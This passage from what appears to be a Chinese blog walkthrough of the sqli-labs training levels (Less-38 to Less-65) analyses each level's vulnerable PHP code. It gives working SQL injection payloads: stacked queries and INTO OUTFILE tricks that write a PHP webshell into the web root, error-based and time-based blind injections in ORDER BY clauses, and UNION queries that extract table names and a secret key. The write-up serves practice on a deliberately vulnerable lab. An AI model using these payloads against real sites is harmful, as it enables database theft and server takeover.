            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1)) // 是否有更多结果
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
拼接点 可用注入类型
单引号 UNION、显错、bool盲、延时盲、堆叠

后续利用

堆叠注入可以执行任意SQL语句,那么就可以进行开启日志getshell

前提:

  • 有web目录的物理路径
  • MySQL用户可以对web目录有读写权限

payload:

id=1';set global general_log = "On";set global general_log_file='/var/www/html/shell.php';--+
id=1';select <?php phpinfo(); ?>;--+

访问shell.php即可

本题开启日志getshell尝试过程中,发现set global general_log_file='/var/www/html/shell.php'一直执行失败,原因是:/var/目录不属于mysql用户,无法设置成功,进入容器修改目录权限即可执行成功

Less-39

拼接点 可用注入类型
直接拼 UNION、显错、bool盲、延时盲、堆叠

与Less-38类似

Less-40

拼接方式:单引号 + 括号

其余与Less-38类似

Less-41

拼接方式:直接拼

注入类型:无法报错注入

其余与Less-39类似

Less-42

login.php:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))

if 查询成功:
    return $row[1];
else:
    print_r(mysqli_error($con1));

if 登录成功:
    setcookie("Auth", 1, time()+3600);
    跳转到 logged-in.php

logged-in.php:

提供修改密码功能

pass_change.php:

if 未登录:
    重定向 index.php

if 修改密码表单:
    $username = $_SESSION["username"];
    $curr_pass = mysql_real_escape_string($_POST['current_password']);
    $pass = mysql_real_escape_string($_POST['password']);
    $re_pass = mysql_real_escape_string($_POST['re_password']);

    if $pass == $re_pass:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

分析

第一处漏洞发生在登录时的password未过滤,可进行报错、堆叠、union等注入

第二处漏洞发生在update更新密码时对从session中获得的用户名未做过滤,利用方式与Less-24类似

Less-43

拼接方式:POST + 单引号 + 但括号

其余与Less-42类似

Less-44

拼接方式:单引号

注入类型:少了报错

其余与Less-43类似

Less-45

注入类型:少了报错

其余与Less-43类似

Less-46

$id=$_GET['sort'];

$sql = "SELECT * FROM users ORDER BY $id";

if 查询成功:
    输出查询结果
else
    print_r(mysql_error());

注入位置发生在order by 子句

探测方式

更换id发现排序方式不同,可能是用不同的列进行排序

升降

# 升序
?sort=1 asc

# 降序
?sort=1 desc

rand()函数

?sort=rand(true)
?sort=rand(false)

二者返回结果不一样,且是固定的,因此可进行布尔、延时盲注

延时探测

?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)

返回时间为查询结果行数 * 1 秒

利用

报错

?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
# 利用procedure analyse 参数报错
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

盲注

?sort=rand(left(database(),1)='s')
# 延时
?sort=rand(if(ascii(substr(database(),1,1))=115,1,sleep(1)))

into outfile

直接导出(注意需要有写权限):

?sort=1 into outfile "/var/www/html/less46.txt"

getshell:

?sort=1 into outfile "/var/www/html/shell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e

限定每一行以0x3c3f70687020706870696e666f28293b3f3e(<?php phpinfo();?>的十六进制编码)为结尾

Less-47

拼接方式:单引号

其余与Less-46类似

Less-48

注入类型:少了报错

其余与Less-46类似

Less-49

注入类型:少了报错

其余与Less-47类似

Less-50

注入类型:可以堆叠注入

其余与Less-46类似

Less-51-53

与Less50类似,只是在在注入类型和拼接方式上有变化

Less-54

index.php:

if $_GET['id']:
    计数器加1;
    if 计数器超过10次:
    	提示失败
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    if 有查询成功:
        输出查询信息
    else:
        pass

$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";

要求从challenges数据库中10次得到secret key

利用

判断闭合:

?id=1' --+

可用union注入

判断字段数目:

?id=1' order by 3--+
?id=1' order by 4--+

结果为3

判断可注入的字段位置:

?id=-1' union select 1,2,3 --+

2和3可以

查询表名:

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='challenges') --+

表名F6ZVUD1OQV

查询列名:

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='F6ZVUD1OQV')--+

id,sessid,secret_MJF9,tryy

查目标结果:

?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_MJF9)+FROM+F6ZVUD1OQV)--+

5p85ATWNXGEvh89AXJ4GteMe

Less-55-57

与Less-54类似,只是在闭合方式上有变化

Less-58

与Less-54相比,这一关在输出信息时不是直接将查询结果返回,而是根据查询结果中的id字段从硬编码数组中取信息,这样union注入就无用了

但是又输出了报错信息,因此可利用报错注入

Less-59-65

与Less58类似,只是在闭合方式和注入类型少有区别

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy